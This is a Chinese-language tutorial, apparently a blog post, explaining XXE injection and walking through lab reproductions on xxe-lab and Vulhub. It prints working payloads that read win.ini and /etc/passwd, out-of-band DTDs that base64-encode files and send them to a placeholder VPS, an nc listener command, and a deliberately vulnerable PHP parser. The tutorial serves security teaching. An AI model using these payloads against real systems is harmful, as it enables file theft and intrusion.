一、前言
XXE(XML External Entity Injection),即 XML 外部实体注入。由于 XML 解析器程序配置不当,解析了攻击者伪造的外部实体而产生的攻击。注入的本质是用户输入的数据被当做代码进行执行。
xml格式
XML 代表可扩展的标记语言,旨在存储和传输数据,类似 HTML,有一个树状的标签和数据结构。XML 文档结构包括 XML 声明、DTD 文档类型定义(可选)、文档元素。
例子如下:
1 2 3 4 5 6
| <?xml version = "1.0" encoding = "utf-8" ?> //xml声明 <!DOCTYPE test [ //DTD声明 <!ENTITY test1 "test1"> <!ENTITY test2 SYSTEM "http://example.com/1.dtd"> ]> <test>&test1;&test2;</test> //文档元素
|
外部实体与内部实体
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用,即内部实体和外部实体。内部实体从内部文件引用,外部实体从外部文件引用(使攻击者远程加载恶意命令或文件)。
1 2 3 4 5 6
| <?xml version = "1.0" encoding = "utf-8" ?> //xml声明 <!DOCTYPE test [ //DTD声明 <!ENTITY test1 "test1"> //内部实体 <!ENTITY test2 SYSTEM "http://example.com/1.dtd"> //外部实体 ]> <test>&test1;&test2;</test> //文档元素
|
一般实体与参数实体
一般实体:
在 DTD 中定义实体,在 XML 文档中引用,一般实体的定义无 % 开头,引用以 & 开头,以;结尾
1 2 3 4 5 6 7 8
| <?xml version = "1.0" encoding = "utf-8" ?> <!DOCTYPE message [ <!ELEMENT message ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> //外部实体 <message> <user>&xxe;</user> //&xxe;引用了外部实体 <pass>pass</pass> </message>
|
参数实体:
参数实体定义以 % 作为开头,引用也以 % 开头
1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://eja5f2.dnslog.cn"> %remote; ]> <string>&1111</string>
|
二、漏洞点及危害
漏洞点
所有使用 XML 格式的存在 XXE 漏洞的可能,插入测试语句观察其返回语句是否符合预期,如下图

漏洞危害
1 2 3 4 5
| 本地文件读取 内网访问 主机扫描/端口扫描 远程代码执行 拒绝服务攻击
|
三、漏洞学习
环境搭建
环境地址:https://github.com/c0ny1/xxe-lab 这边选择 Phpstudy 直接启服务,过于简单,不再赘述,访问页面如下

漏洞复现
利用 Burp 抓包,利用上面知识点,构造完整 XML 格式,并构造引用一般实体
进行漏洞测试
1 2 3 4 5
| <?xml version = "1.0" encoding = "utf-8" ?> <!DOCTYPE message [ <!ELEMENT message ANY > <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >]> <user><username>&xxe;</username><password>admin</password></user>
|

构造引用 参数实体
测试
VPS 开启服务,测试网络是否能远程进行访问,若能进行访问则证明存在漏洞,能进行远程加载

1 2 3 4 5 6
| <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://x.x.x.x:2333"> %remote; ]> <user><username>admin</username><password>admin</password></user>
|

服务器接收到请求

通过 OOB(Out-Of-Band),远程加载 .dtd 文件实现攻击
1、vps上放置 dtd文件,名为 my.dtd , 文件内容为命令执行 file:///windows/win.ini
1 2 3 4
| <!ENTITY % file SYSTEM "file:///windows/win.ini"> <!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error;
|
2、利用 Python3 在 dtd 文件目录下起临时 WEB 服务

3、Burp 放包远程加载 .dtd 文件
1 2 3 4 5
| <?xml version="1.0" ?> <!DOCTYPE message [ <!ENTITY % my SYSTEM "http://x.x.x.x:2333/my.dtd"> %my; ]>
|

Blind OOB XXE(Out-Of-Band)当存在 xxe 漏洞,但无回显,这时候想要读取敏感文件的时候,就需要用到 file 协议进行数据外带
1、这边利用 Vulhub 中的环境进行复现,进入 vulhub 中的 php_xxe 路径下,在 www 目录下创建 xml.php 漏洞环境,源码如下
1 2 3 4 5 6
| <?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); ?>
|

Docker 启动环境 docker-compose up -d

访问 8080 端口,成功搭建环境页面如下:

访问 dom.php 触发 xxe 漏洞,进行文件读取
1 2 3 4 5 6 7
| <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <root> <name>&xxe;</name> </root>
|

同样地访问 xml.php 进行 文件读取,出现报错无法读取文件

3、远程加载 .dtd 文件,利用服务器回显内容,.dtd 文件内容如下,名为 my.dtd (注:dtd文件中的监听端口需与 nc 监听端口一致)
1 2 3
| <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd"> <!ENTITY % int "<!ENTITY % send SYSTEM 'http://vpsip:nc监听的端口?p=%file;'>">
|
远程服务器中 my.dtd 目录下利用 Python 开启临时 WEB 服务 python3 -m http.server 2333

在相同服务器下,开启监听,接收回显数据 nc -lvp 3333

4、Burp 放包远程加载 dtd 文件,读取 dtd 文件内容进行命令执行
1 2 3 4
| <!DOCTYPE convert [ <!ENTITY % remote SYSTEM "http://vpsip:2333/my.dtd"> %remote;%int;%send; ]>
|

VPS上成功接收执行命令后的数据,数据格式为 base64

?p=执行后返回数据的 base64 格式,解码后得到数据

注意 libxml 2.9.0 版本后不支持解析外部实体,即无法进行远程加载 dtd。

综上所述,XXE 漏洞实际上都是通过 file 协议读取本地文件,相对应其他平台协议如下:
1 2 3 4 5 6 7 8 9 10 11
| | libxml2 | PHP | Java | .NET | | ------- | -------------- | -------- | ----- | | file | file | http | file | | http | http | https | http | | ftp | ftp | ftp | https | | | php | file | ftp | | | compress.zlib | jar | | | | compress.bzip2 | netdoc | | | | data | mailto | | | | glob | gopher * | | | | phar | | |
|
四、总结
通过一系列了解,XXE 漏洞通过 file 协议进行本地文件读取,然后通过读取到的信息进行组合攻击,类似于 SSRF。主要攻击路径:本地文件读取、内网访问、主机扫描/端口扫描、远程代码执行
、拒绝服务攻击。
五、参考
1 2 3 4 5
| https://blog.zsec.uk/blind-xxe-learning/ https://www.freebuf.com/articles/web/265324.html https://mp.weixin.qq.com/s/mm4hxXzaiaXUFcKk_wrtCw https://github.com/c0ny1/xxe-lab https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
|